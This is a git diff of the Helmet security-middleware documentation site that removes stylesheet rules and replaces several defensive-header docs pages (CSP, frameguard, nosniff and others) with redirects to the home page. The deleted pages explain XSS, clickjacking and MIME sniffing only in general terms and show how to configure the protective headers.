- */
-
-a:active,
-a:hover {
-  outline-width: 0;
-}
-
-/* Text-level semantics
-   ========================================================================== */
-
-/**
- * 1. Remove the bottom border in Firefox 39-.
- * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
- */
-
-abbr[title] {
-  border-bottom: none; /* 1 */
-  text-decoration: underline; /* 2 */
-  text-decoration: underline dotted; /* 2 */
-}
-
-/**
- * Prevent the duplicate application of `bolder` by the next rule in Safari 6.
- */
-
-b,
-strong {
-  font-weight: inherit;
-}
-
-/**
- * Add the correct font weight in Chrome, Edge, and Safari.
- */
-
-b,
-strong {
-  font-weight: bolder;
-}
-
-/**
- * Add the correct font style in Android 4.3-.
- */
-
-dfn {
-  font-style: italic;
-}
-
-/**
- * Correct the font size and margin on `h1` elements within `section` and
- * `article` contexts in Chrome, Firefox, and Safari.
- */
-
-h1 {
-  font-size: 2em;
-  margin: 0.67em 0;
-}
-
-/**
- * Add the correct background and color in IE 9-.
- */
-
-mark {
-  background-color: #ff0;
-  color: #000;
-}
-
-/**
- * Add the correct font size in all browsers.
- */
-
-small {
-  font-size: 80%;
-}
-
-/**
- * Prevent `sub` and `sup` elements from affecting the line height in
- * all browsers.
- */
-
-sub,
-sup {
-  font-size: 75%;
-  line-height: 0;
-  position: relative;
-  vertical-align: baseline;
-}
-
-sub {
-  bottom: -0.25em;
-}
-
-sup {
-  top: -0.5em;
-}
-
-/* Embedded content
-   ========================================================================== */
-
-/**
- * Remove the border on images inside links in IE 10-.
- */
-
-img {
-  border-style: none;
-}
-
-/**
- * Hide the overflow in IE.
- */
-
-svg:not(:root) {
-  overflow: hidden;
-}
-
-/* Grouping content
-   ========================================================================== */
-
-/**
- * 1. Correct the inheritance and scaling of font size in all browsers.
- * 2. Correct the odd `em` font sizing in all browsers.
- */
-
-code,
-kbd,
-pre,
-samp {
-  font-family: monospace, monospace; /* 1 */
-  font-size: 1em; /* 2 */
-}
-
-/**
- * Add the correct margin in IE 8.
- */
-
-figure {
-  margin: 1em 40px;
-}
-
-/**
- * 1. Add the correct box sizing in Firefox.
- * 2. Show the overflow in Edge and IE.
- */
-
-hr {
-  box-sizing: content-box; /* 1 */
-  height: 0; /* 1 */
-  overflow: visible; /* 2 */
-}
-
-/* Forms
-   ========================================================================== */
-
-/**
- * 1. Change font properties to `inherit` in all browsers (opinionated).
- * 2. Remove the margin in Firefox and Safari.
- */
-
-button,
-input,
-select,
-textarea {
-  font: inherit; /* 1 */
-  margin: 0; /* 2 */
-}
-
-/**
- * Restore the font weight unset by the previous rule.
- */
-
-optgroup {
-  font-weight: bold;
-}
-
-/**
- * Show the overflow in IE.
- * 1. Show the overflow in Edge.
- */
-
-button,
-input { /* 1 */
-  overflow: visible;
-}
-
-/**
- * Remove the inheritance of text transform in Edge, Firefox, and IE.
- * 1. Remove the inheritance of text transform in Firefox.
- */
-
-button,
-select { /* 1 */
-  text-transform: none;
-}
-
-/**
- * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
- *    controls in Android 4.
- * 2. Correct the inability to style clickable types in iOS and Safari.
- */
-
-button,
-html [type="button"], /* 1 */
-[type="reset"],
-[type="submit"] {
-  -webkit-appearance: button; /* 2 */
-}
-
-/**
- * Remove the inner border and padding in Firefox.
- */
-
-button::-moz-focus-inner,
-[type="button"]::-moz-focus-inner,
-[type="reset"]::-moz-focus-inner,
-[type="submit"]::-moz-focus-inner {
-  border-style: none;
-  padding: 0;
-}
-
-/**
- * Restore the focus styles unset by the previous rule.
- */
-
-button:-moz-focusring,
-[type="button"]:-moz-focusring,
-[type="reset"]:-moz-focusring,
-[type="submit"]:-moz-focusring {
-  outline: 1px dotted ButtonText;
-}
-
-/**
- * Change the border, margin, and padding in all browsers (opinionated).
- */
-
-fieldset {
-  border: 1px solid #c0c0c0;
-  margin: 0 2px;
-  padding: 0.35em 0.625em 0.75em;
-}
-
-/**
- * 1. Correct the text wrapping in Edge and IE.
- * 2. Correct the color inheritance from `fieldset` elements in IE.
- * 3. Remove the padding so developers are not caught out when they zero out
- *    `fieldset` elements in all browsers.
- */
-
-legend {
-  box-sizing: border-box; /* 1 */
-  color: inherit; /* 2 */
-  display: table; /* 1 */
-  max-width: 100%; /* 1 */
-  padding: 0; /* 3 */
-  white-space: normal; /* 1 */
-}
-
-/**
- * Remove the default vertical scrollbar in IE.
- */
-
-textarea {
-  overflow: auto;
-}
-
-/**
- * 1. Add the correct box sizing in IE 10-.
- * 2. Remove the padding in IE 10-.
- */
-
-[type="checkbox"],
-[type="radio"] {
-  box-sizing: border-box; /* 1 */
-  padding: 0; /* 2 */
-}
-
-/**
- * Correct the cursor style of increment and decrement buttons in Chrome.
- */
-
-[type="number"]::-webkit-inner-spin-button,
-[type="number"]::-webkit-outer-spin-button {
-  height: auto;
-}
-
-/**
- * 1. Correct the odd appearance in Chrome and Safari.
- * 2. Correct the outline style in Safari.
- */
-
-[type="search"] {
-  -webkit-appearance: textfield; /* 1 */
-  outline-offset: -2px; /* 2 */
-}
-
-/**
- * Remove the inner padding and cancel buttons in Chrome and Safari on OS X.
- */
-
-[type="search"]::-webkit-search-cancel-button,
-[type="search"]::-webkit-search-decoration {
-  -webkit-appearance: none;
-}
-
-/**
- * Correct the text style of placeholders in Chrome, Edge, and Safari.
- */
-
-::-webkit-input-placeholder {
-  color: inherit;
-  opacity: 0.54;
-}
-
-/**
- * 1. Correct the inability to style clickable types in iOS and Safari.
- * 2. Change font properties to `inherit` in Safari.
- */
-
-::-webkit-file-upload-button {
-  -webkit-appearance: button; /* 1 */
-  font: inherit; /* 2 */
-}
diff --git a/_includes/head.html b/_includes/head.html
index 646813d..43a7b94 100644
--- a/_includes/head.html
+++ b/_includes/head.html
@@ -1,5 +1,8 @@
 <head>
   <meta charset="utf-8">
+  {% if layout.gohome %}
+    <meta http-equiv="refresh" content="0; url=/">
+  {% endif %}
   <meta http-equiv="X-UA-Compatible" content="IE=edge">
   <meta name="viewport" content="width=device-width, initial-scale=1">
 
diff --git a/_includes/header.html b/_includes/header.html
index 1fe71a4..9bb6ac0 100644
--- a/_includes/header.html
+++ b/_includes/header.html
@@ -1,6 +1,6 @@
 <header class="site-header">
   <div class="wrapper">
-    <a class="site-title" href="{{ site.baseurl }}/"><img class="site-logo" src="{{ site.baseurl }}/resources/logo.svg" alt="" /> {{ site.title }}</a>
+    <h1><a class="site-title" href="{{ site.baseurl }}/"><img class="site-logo" src="{{ site.baseurl }}/resources/logo.svg" alt="" /> {{ site.title }}</a></h1>
     <p class="site-description">{{ site.short_description }}. Latest version: <strong>{{ site.helmet_version }}</strong></p>
   </div>
 
diff --git a/_layouts/gohome.html b/_layouts/gohome.html
new file mode 100644
index 0000000..9031f5b
--- /dev/null
+++ b/_layouts/gohome.html
@@ -0,0 +1,10 @@
+---
+gohome: true
+title: Page moved
+layout: default
+---
+<article class="post">
+  <div class="post-content">
+    <p>This page has been moved. <a href="/">Click here if you are not automatically redirected.</a>
+  </div>
+</article>
diff --git a/docs/crossdomain/index.md b/docs/crossdomain/index.md
index 05fe866..39df356 100644
--- a/docs/crossdomain/index.md
+++ b/docs/crossdomain/index.md
@@ -1,62 +1,4 @@
 ---
-layout: page
-title: X-Permitted-Cross-Domain-Policies
+layout: gohome
 permalink: /docs/crossdomain/
 ---
-In short: Helmet's `crossdomain` middleware prevents Adobe Flash and Adobe Acrobat from loading content on your site.
-
-The "attack"
-------------
-
-It's a good idea to limit your code's the surface area. Less stuff means less to attack.
-
-Adobe Flash and Adobe Acrobat can load content from your domain even from other sites (in other words, cross-domain). This could cause unexpected data disclosure in rare cases or extra bandwidth usage.
-
-The header
-----------
-
-The `X-Permitted-Cross-Domain-Policies` header tells clients like Flash and Acrobat what cross-domain policies they can use. If you don't want them to load data from your domain, set the header's value to `none`. For example:
-
-```
-X-Permitted-Cross-Domain-Policies: none
-```
-
-If Flash loads something from your site and sees that, it'll know that it shouldn't load data from your domain.
-
-The header has other values that require you to create a `crossdomain.xml` file defining what your cross-domain policy is. You can read more about this in the links below.
-
-Read more:
-
-- ["X-Permitted-Cross-Domain-Policies" section on OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xpcdp)
-- [Adobe's spec for cross-domain policies](https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/xdomain.html)
-
-The code
---------
-
-Helmet's `crossdomain` middleware helps you set this header.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-app.use(helmet.permittedCrossDomainPolicies())
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install helmet-crossdomain" to get this package.
-const permittedCrossDomainPolicies = require('helmet-crossdomain')
-
-app.use(permittedCrossDomainPolicies())
-```
-
-This header's value is `none` by default. You can set the header's value to other things, too:
-
-```javascript
-app.use(permittedCrossDomainPolicies({ permittedPolicies: 'master-only' }))
-app.use(permittedCrossDomainPolicies({ permittedPolicies: 'by-content-type' }))
-app.use(permittedCrossDomainPolicies({ permittedPolicies: 'all' }))
-```
diff --git a/docs/csp/index.md b/docs/csp/index.md
index 45ad42c..aac7b7a 100644
--- a/docs/csp/index.md
+++ b/docs/csp/index.md
@@ -1,250 +1,4 @@
 ---
-layout: page
-title: Content Security Policy
+layout: gohome
 permalink: /docs/csp/
 ---
-In short: the CSP module sets the `Content-Security-Policy` header which can help protect against malicious injection of JavaScript, CSS, plugins, and more.
-
-The attack
-----------
-
-Hackers can do lots of bad things if they can put things onto your webpages.
-
-The nastiest attack is probably cross-site scripting (XSS), which is when a hacker puts malicious JavaScript onto your page. If I can run JavaScript on your page, I can do a lot of bad things, from stealing authentication cookies to logging every user action.
-
-There are other things attackers can do, even if they can't execute JavaScript. For example, if I could put a tiny, transparent 1x1 image on your site, I could get a pretty good idea of how much traffic your site gets. If I could get a [vulnerable browser plugin](http://arstechnica.com/security/2015/07/two-new-flash-exploits-surface-from-hacking-team-combine-with-java-0-day/) like Flash to run, I could exploit its flaws and do things you don't want!
-
-There isn't one specific attack that the CSP module prevents. The main thing is this: you don't want anyone putting anything on your webpages that you don't expect.
-
-Read more:
-
-* [Cross-site scripting on Wikipedia](https://en.wikipedia.org/wiki/Cross-site_scripting)
-* [Cross-site Scripting on OWASP](https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29)
-* ["How does a tracking pixel work?" on Quora](https://www.quora.com/How-does-a-tracking-pixel-work)
-
-The header
-----------
-
-One of the tricky things about these injection attacks is that the browser doesn't know what's good and what's bad. How can it tell the difference between a legitimate JavaScript file and a malicious one? In many cases, it can't...unless you've defined a Content Security Policy.
-
-Most modern browsers support a header called `Content-Security-Policy`, which is effectively a whitelist of things that are allowed to be on your page. You can whitelist JavaScript, CSS, images, plugins, and much more. Things are *opt-in*, so you're saying "this stuff is allowed" instead of "this stuff is _not_ allowed".
-
-Let's say you've got a website that links to no external resources at all—just your stuff. You could set a header that looks like this:
-
-```
-Content-Security-Policy: default-src 'self'
-```
-
-This effectively tells the browser "only load things that are from my own domain". If you're running example.com and a user tries to load `https://example.com/my-javascript.js`, it'll work just fine. But if a user tries to load `http://evil.com/evil.js`, it won't load at all!
-
-Now, let's say you want to also allow CSS from Bootstrap's CDN. You could set a CSP that looks like this:
-
-```
-Content-Security-Policy: default-src 'self'; style-src 'self' maxcdn.bootstrapcdn.com
-```
-
-Now we've whitelisted `'self'` and `maxcdn.bootstrapcdn.com`. The user will be able to load CSS from there, but nothing else. The user won't even be able to load JavaScript or images from that URL, either—only stylesheets.
-
-There are a lot of nuances to CSP: what you can and can't whitelist, browser support for various features, and alternate headers. Refer to the stuff below for more information.
-
-Read more:
-
-- [An introduction to Content Security Policy on HTML5 Rocks](http://www.html5rocks.com/en/tutorials/security/content-security-policy/)
-- [Content Security Policy Reference](https://content-security-policy.com/)
-- [Can I Use Content Security Policy 1.0](http://caniuse.com/#feat=contentsecuritypolicy)
-- [Can I Use Content Security Policy 2.0](http://caniuse.com/#feat=contentsecuritypolicy2)
-
-The code
---------
-
-Helmet's `csp` module helps set Content Security Policies.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-app.use(helmet.contentSecurityPolicy({
-  directives: {
-    defaultSrc: ["'self'"],
-    styleSrc: ["'self'", 'maxcdn.bootstrapcdn.com']
-  }
-}))
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install helmet-csp" to get the csp package.
-const csp = require('helmet-csp')
-
-app.use(csp({
-  directives: {
-    defaultSrc: ["'self'"],
-    styleSrc: ["'self'", 'maxcdn.bootstrapcdn.com']
-  }
-}))
-```
-
-This header is not included in the default Helmet bundle.
-
-### Directives
-
-All of your CSP directives (like `default-src`, `style-src`) are placed under the `directives` option.
-
-```javascript
-app.use(csp({
-  directives: {
-    defaultSrc: ["'self'", 'default.com'],
-    scriptSrc: ["'self'", "'unsafe-inline'"],
-    sandbox: ['allow-forms', 'allow-scripts'],
-    reportUri: '/report-violation',
-    objectSrc: ["'none'"],
-    upgradeInsecureRequests: true,
-    workerSrc: false  // This is not set.
-  }
-}))
-```
-
-Directives can be kebab-cased (like `script-src`) or camel-cased (like `scriptSrc`); they are equivalent.
-
-The following directives are supported:
-
-* `base-uri` or `baseUri`
-* `block-all-mixed-content` or `blockAllMixedContent`
-* `child-src` or `childSrc`
-* `connect-src` or `connectSrc`
-* `default-src` or `defaultSrc`
-* `font-src` or `fontSrc`
-* `form-action` or `formAction`
-* `frame-ancestors` or `frameAncestors`
-* `frame-src` or `frameSrc`
-* `img-src` or `imgSrc`
-* `manifest-src` or `manifestSrc`
-* `media-src` or `mediaSrc`
-* `object-src` or `objectSrc`
-* `plugin-types` or `pluginTypes`
-* `prefetch-src` or `prefetchSrc`
-* `report-to` or `reportTo`
-* `report-uri` or `reportUri`
-* `require-sri-for` or `requireSriFor`
-* `sandbox` or `sandbox`
-* `script-src` or `scriptSrc`
-* `style-src` or `styleSrc`
-* `upgrade-insecure-requests` or `upgradeInsecureRequests`
-* `worker-src` or `workerSrc`
-
-### CSP violations
-
-If you've specified a `reportUri`, browsers will POST any CSP violations to your server. Here's a simple example of an Express route that handles those reports:
-
-```js
-// You need a JSON parser first.
-app.use(bodyParser.json({
-  type: ['json', 'application/csp-report']
-}))
-
-app.post('/report-violation', (req, res) => {
-  if (req.body) {
-    console.log('CSP Violation: ', req.body)
-  } else {
-    console.log('CSP Violation: No data received!')
-  }
-
-  res.status(204).end()
-})
-```
-
-Not all browsers send CSP violations in the same way, so this might require a little work.
-
-*Note*: If you're using a CSRF module like [csurf](https://github.com/expressjs/csurf), you might have problems handling these violations without a valid CSRF token. The fix is to put your CSP report route *above* csurf middleware.
-
-This module's `reportOnly` option will switch the header to `Content-Security-Policy-Report-Only`. This instructs browsers to report violations to the `reportUri` (if specified) but it will not block any resources from loading.
-
-```javascript
-app.use(csp({
-  directives: {
-    // ...
-  },
-  reportOnly: true
-})
-```
-
-You may also set this to a function to decide dynamically whether to use `reportOnly` mode. You could use this for a dynamic kill switch. This function will be called with the request and response objects and must return a boolean.
-
-```javascript
-app.use(csp({
-  directives: {
-    // ...
-  },
-  reportOnly: (req, res) => req.query.cspmode === 'debug'
-})
-```
-
-### Browser sniffing
-
-By default, this module will look at the incoming `User-Agent` header and send different headers depending on the detected browser. For example, Chrome prior to version 25 uses an alternate header called `X-WebKit-CSP`, and this module handles that. If no browser is detected, this module will set all the headers with the 2.0 spec.
-
-To disable this browser sniffing and assume a modern browser, set the `browserSniff` option to `false`.
-
-```javascript
-app.use(csp({
-  directives: {
-    // ...
-  },
-  browserSniff: false
-})
-```
-
-To set all headers, including legacy ones, set the `setAllHeaders` option to `true`. Note that this will change the value of the headers based on `User-Agent`. You can disable this by using the `browserSniff: false` option above.
-
-```javascript
-app.use(csp({
-  directives: {
-    // ...
-  },
-  setAllHeaders: true
-})
-```
-
-Old Android browsers can be very buggy. This is `false` by default.
-
-```javascript
-app.use(csp({
-  directives: {
-    // ...
-  },
-  disableAndroid: true
-})
-```
-
-### Generating nonces
-
-You can dynamically generate nonces to allow inline `<script>` tags to be safely evaluated. Here's a simple example:
-
-```js
-const uuidv4 = require('uuid/v4')
-
-app.use(function (req, res, next) {
-  res.locals.nonce = uuidv4()
-  next()
-})
-
-app.use(csp({
-  directives: {
-    scriptSrc: [
-      "'self'",
-      (req, res) => `'nonce-${res.locals.nonce}'`  // 'nonce-614d9122-d5b0-4760-aecf-3a5d17cf0ac9'
-    ]
-  }
-}))
-
-app.use(function (req, res) {
-  res.end(`<script nonce="${res.locals.nonce}">alert(1 + 1);</script>`)
-})
-```
-
-### Using CSP with a CDN
-
-The default behavior of CSP is generate headers tailored for the browser that's requesting your page. If you have a CDN in front of your application, the CDN may cache the wrong headers, rendering your CSP useless. Make sure to eschew a CDN when using this module or set the `browserSniff` option to `false`.
diff --git a/docs/dns-prefetch-control/index.md b/docs/dns-prefetch-control/index.md
index 4ce804e..86342de 100644
--- a/docs/dns-prefetch-control/index.md
+++ b/docs/dns-prefetch-control/index.md
@@ -1,73 +1,4 @@
 ---
-layout: page
-title: DNS Prefetch Control
+layout: gohome
 permalink: /docs/dns-prefetch-control/
 ---
-In short: this middleware lets you disable browsers' DNS prefetching by setting the `X-DNS-Prefetch-Control` header.
-
-The attack
-----------
-
-When you visit a URL, your browser has to look up the domain's IP address. For example, it has to resolve `example.com` to `93.184.216.34`. This process is called DNS.
-
-Browsers can start these DNS requests before the user even clicks a link or loads a resource from somewhere. This improves performance when the user clicks the link, but has privacy implications for users. It can appear as if a user is visiting things they aren't visiting.
-
-Read more:
-
-- ["Controlling DNS prefetching" on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Controlling_DNS_prefetching)
-- ["DNS Prefetching" on Chromium docs](https://dev.chromium.org/developers/design-documents/dns-prefetching)
-- ["Prefetching"](https://www.keycdn.com/support/prefetching/)
-
-The header
-----------
-
-The `X-DNS-Prefetch-Control` header tells browsers whether they should do DNS prefetching. Turning it on may not work—not all browsers support it in all situations—but turning it off should disable it on all supported browsers.
-
-To disable DNS prefetching, set the `X-DNS-Prefetch-Control` header to `off`. To attempt to enable it, set the value to `on`.
-
-Most browsers don't do DNS prefetching so most browsers can ignore this header.
-
-Read more:
-
-- ["Controlling DNS prefetching" on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Controlling_DNS_prefetching)
-- ["DNS Prefetching" on Chromium docs](https://dev.chromium.org/developers/design-documents/dns-prefetching)
-
-The code
---------
-
-Helmet's DNS Prefetch Control is a relatively simple middleware that will set the `X-DNS-Prefetch-Control` header.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-// Sets "X-DNS-Prefetch-Control: off".
-app.use(helmet.dnsPrefetchControl())
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install dns-prefetch-control" to get the dns-prefetch-control package.
-const dnsPrefetchControl = require('dns-prefetch-control')
-
-// Sets "X-DNS-Prefetch-Control: off".
-app.use(dnsPrefetchControl())
-```
-
-Once you've required it, you can use it in your apps:
-
-```javascript
-// Sets "X-DNS-Prefetch-Control: off".
-app.use(dnsPrefetchControl())
-
-// Sets "X-DNS-Prefetch-Control: off".
-app.use(dnsPrefetchControl({ allow: false }))
-
-// Sets "X-DNS-Prefetch-Control: on".
-app.use(dnsPrefetchControl({ allow: true }))
-```
-
-This header is included in the default Helmet bundle.
diff --git a/docs/dont-sniff-mimetype/index.md b/docs/dont-sniff-mimetype/index.md
index a8a7bef..02b38aa 100644
--- a/docs/dont-sniff-mimetype/index.md
+++ b/docs/dont-sniff-mimetype/index.md
@@ -1,72 +1,4 @@
 ---
-layout: page
-title: Don't Sniff Mimetype
+layout: gohome
 permalink: /docs/dont-sniff-mimetype/
 ---
-
-In short: the Don't Sniff Mimetype middleware, `noSniff`, helps prevent browsers from trying to guess ("sniff") the MIME type, which can have security implications. It does this by setting the `X-Content-Type-Options` header to `nosniff`.
-
-The attack
-----------
-
-MIME types are a way of determining what kind of file you're looking at. PNG images have the type `image/png`; JSON files are `application/json`; JavaScript files are typically `text/javascript`. When your browser loads a file, it reads the server's `Content-Type` header to determine what the thing is.
-
-Let's say that your browser sees this:
-
-```html
-<script src="https://example.com/my-javascript"></script>
-```
-
-It'll go and load `my-javascript` from `example.com`. If `example.com` sends a `Content-Type` header of `text/javascript`, your browser will execute the contents of `my-javascript` as JavaScript.
-
-But what if `my-javascript` is an HTML page with a `Content-Type` of `text/html`? If your browser does something called "MIME sniffing" (which some do), it will look at the contents of the file, decide if it looks like JavaScript, and execute it if so. This means that a server can send the wrong `Content-Type` and JavaScript can still get executed.
-
-This MIME sniffing can be an attack vector. A user could upload an image with the `.jpg` file extension but its contents are actually HTML. Visiting that image could cause the browser to "run" the HTML page, which could contain malicious JavaScript! Perhaps the nastiest attack is called [Rosetta Flash](https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/), which allows someone to load a malicious Flash plugin instead of data!
-
-Read more:
-
-- ["MIME type" on Wikipedia](https://en.wikipedia.org/wiki/Media_type)
-- ["MIME Sniffing: feature or vulnerability?"](https://blog.fox-it.com/2012/05/08/mime-sniffing-feature-or-vulnerability/)
-- ["MIME sniffing in Internet Explorer enables cross-site scripting attacks"](http://www.h-online.com/security/features/Risky-MIME-sniffing-in-Internet-Explorer-746229.html)
-- ["Abusing JSONP with Rosetta Flash"](https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/)
-- [MIME Sniffing live standard](https://mimesniff.spec.whatwg.org/)
-- [Cross Origin Resource Blocking in Chrome](https://developers.google.com/web/updates/2018/07/site-isolation)
-
-The header
-----------
-
-The `X-Content-Type-Options` header tells browsers not to sniff MIME types. When this header is set to `nosniff`, browsers won't sniff the MIME type—they will trust what the server says and block the resource if it's wrong.
-
-Read more:
-
-- ["X-Content-Type-Options" on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)
-- ["What is 'X-Content-Type-Options=nosniff'?" on Stack Overflow](https://stackoverflow.com/questions/18337630/)
-- ["Reducing MIME type security risks" on MSDN](https://msdn.microsoft.com/en-us/library/gg622941(v=vs.85).aspx)
-- ["IE8 Security Part V: Comprehensive Protection" on MSDN](https://blogs.msdn.microsoft.com/ie/2008/07/02/ie8-security-part-v-comprehensive-protection/)
-
-The code
---------
-
-The `noSniff` middleware will set the `X-Content-Type-Options` header to `nosniff` for every request.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-// Sets "X-Content-Type-Options: nosniff".
-app.use(helmet.noSniff())
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install dont-sniff-mimetype" to get this package.
-const noSniff = require('dont-sniff-mimetype')
-
-// Sets "X-Content-Type-Options: nosniff".
-app.use(noSniff())
-```
-
-This header is included in the default Helmet bundle.
diff --git a/docs/expect-ct/index.md b/docs/expect-ct/index.md
index 9d4eb07..02e6fcb 100644
--- a/docs/expect-ct/index.md
+++ b/docs/expect-ct/index.md
@@ -1,28 +1,4 @@
 ---
-layout: page
-title: Expect-CT
+layout: gohome
 permalink: /docs/expect-ct/
 ---
-The `Expect-CT` HTTP header tells browsers to expect Certificate Transparency. For more about Certificate Transparency and this header, see [this blog post](https://scotthelme.co.uk/a-new-security-header-expect-ct/) and the [in-progress spec](https://datatracker.ietf.org/doc/draft-stark-expect-ct).
-
-Usage:
-
-```javascript
-const expectCt = require('expect-ct')
-
-// Sets Expect-CT: max-age=123
-app.use(expectCt({ maxAge: 123 }))
-
-// Sets Expect-CT: enforce; max-age=123
-app.use(expectCt({
-  enforce: true,
-  maxAge: 123
-}))
-
-// Sets Expect-CT: enforce; max-age=30; report-uri="http://example.com/report"
-app.use(expectCt({
-  enforce: true,
-  maxAge: 30,
-  reportUri: 'http://example.com/report'
-}))
-```
diff --git a/docs/feature-policy/index.md b/docs/feature-policy/index.md
index 5641aaa..0effdca 100644
--- a/docs/feature-policy/index.md
+++ b/docs/feature-policy/index.md
@@ -1,103 +1,4 @@
 ---
-layout: page
-title: Feature-Policy
+layout: gohome
 permalink: /docs/feature-policy/
 ---
-<div class="callout">
-  <strong>This middleware has been deprecated because the <code>Feature-Policy</code> header is deprecated.</strong> It will be removed in Helmet 4.
-</div>
-
-In short: Helmet's `featurePolicy` middleware lets you restrict which browser features can be used. For example, you can disable fullscreen or vibration APIs.
-
-The "attack"
-------------
-
-It's a good idea to limit your code's the surface area. Less stuff means less to attack.
-
-Web browsers have lots of different features, from vibration to fullscreen to microphone access. While some of these can be useful, you may not wish to use all of them, and you may not want any third-party scripts you include to use them either.
-
-The header
-----------
-
-The `Feature-Policy` header tells browsers which features you can use. For example, if you want to disable notifications for everyone and allow payments from `example.com`, you could send a header like this:
-
-```
-Feature-Policy: notifications 'none'; payments example.com
-```
-
-Read more:
-
-- ["A new security header: Feature-Policy"](https://scotthelme.co.uk/a-new-security-header-feature-policy/)
-- [Feature Policy](https://developers.google.com/web/updates/2018/06/feature-policy)
-
-The code
---------
-
-Helmet's `featurePolicy` middleware helps you set this header.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-app.use(helmet.featurePolicy({
-  features: {
-    fullscreen: ["'self'"],
-    vibrate: ["'none'"],
-    payment: ['example.com'],
-    syncXhr: ["'none'"]
-  }
-}))
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install feature-policy" to get this package.
-const featurePolicy = require('feature-policy')
-
-app.use(featurePolicy({
-  features: {
-    vibrate: ["'self'"],
-    syncXhr: ["'none'"]
-  }
-}))
-```
-
-The following features are currently supported:
-
-* `accelerometer`
-* `ambientLightSensor`
-* `autoplay`
-* `camera`
-* `documentDomain`
-* `documentWrite`
-* `encryptedMedia`
-* `fontDisplayLateSwap`
-* `fullscreen`
-* `geolocation`
-* `gyroscope`
-* `layoutAnimations`
-* `legacyImageFormats`
-* `loadingFrameDefaultEager`
-* `magnetometer`
-* `microphone`
-* `midi`
-* `oversizedImages`
-* `payment`
-* `pictureInPicture`
-* `serial`
-* `speaker`
-* `syncScript`
-* `syncXhr`
-* `unoptimizedImages`
-* `unoptimizedLosslessImages`
-* `unoptimizedLossyImages`
-* `unsizedMedia`
-* `usb`
-* `verticalScroll`
-* `vibrate`
-* `vr`
-* `wakeLock`
-* `xr`
diff --git a/docs/frameguard/index.md b/docs/frameguard/index.md
index 2bcc607..72ea03c 100644
--- a/docs/frameguard/index.md
+++ b/docs/frameguard/index.md
@@ -1,108 +1,4 @@
 ---
-layout: page
-title: Frameguard
+layout: gohome
 permalink: /docs/frameguard/
 ---
-In short: Frameguard mitigates clickjacking attacks by setting the `X-Frame-Options` header.
-
-The attack
-----------
-
-[Clickjacking attacks](https://en.wikipedia.org/wiki/Clickjacking) are pretty clever.
-
-The attacker wants you to click something that you don't actually want to click, and they do it by hiding the link/button _behind_ something else that they can trick you into clicking on.
-
-Let's imagine that I've got a social network called Facepamphlet. I'm trying to get you to click "I love this" on my page, "Being Mean For No Reason".
-
-![Screenshot of target page](frameguard-target-page.png)
-
-You would never click the "I love this" button on your own, because you're a kind person—you're not a fan of being mean for no reason!
-
-But let's say I send you a website promising hundreds of photos of adorable puppies. You'd click something that let you see all of that! Cute puppies are great!
-
-I send you a page that looks like this:
-
-![Screenshot of evil page with trick hidden](frameguard-malicious-hidden.png)
-
-Of course you want to see cute puppies, so you click "Click here". But, unbeknownst to you, there is an _invisible iframe_ that you've just clicked on!
-
-![Screenshot of evil page with trick exposed](frameguard-malicious-shown.png)
-
-I've just "clickjacked" you and gotten you to click "I love this" on a page you hate!
-
-Clickjacking can be used to get you to click anything you don't want to. These things include unintentional endorsements on social networks, clicking advertisements, and if it's very clever, tricking you into doing more complex things.
-
-Read more:
-
-- [Clickjacking article on Wikipedia](https://en.wikipedia.org/wiki/Clickjacking)
-- [Clickjacking Defense Cheat Sheet](https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet)
-- [iframe element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)
-
-The header
-----------
-
-The `X-Frame-Options` header tells browsers to prevent your webpage from being put in an iframe. When browsers load iframes, they'll check the value of the `X-Frame-Options` header and abort loading if it's not allowed.
-
-The header has three options:
-
-1. `X-Frame-Options: DENY` will prevent _anyone_ from putting this page in an iframe.
-2. `X-Frame-Options: SAMEORIGIN` will prevent anyone from putting this page in an iframe _unless it's on the same origin_. That generally means that you can put your _own_ pages in iframes, but nobody else can.
-3. `X-Frame-Options: ALLOW-FROM http://example.com` will allow `http://example.com` to put your page in an iframe, but nobody else. (Unfortunately, browser support is poor and you can only allow one domain.)
-
-In the example above, Facepamphlet could mitigate clickjacking attacks by setting the `X-Frame-Options` header to `DENY`, preventing its pages from being put in iframes. Many websites do this.
-
-If you aren't expecting your pages to be put in iframes, setting this to `DENY` or `SAMEORIGIN` is probably a good idea because it limits your page's attack surface.
-
-The header has pretty good browser support: IE8+, Opera 10.50+, Safari 4+, Chrome 4.1+, and Firefox 3.6.9+. The `ALLOW-FROM` header option is [not supported in many browsers](https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options#Browser_compatibility). Those browsers will ignore the entire header, [and the frame *will* be displayed](https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet#Limitations_2), so you should probably avoid using this option.
-
-Read more:
-
-- [MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options)
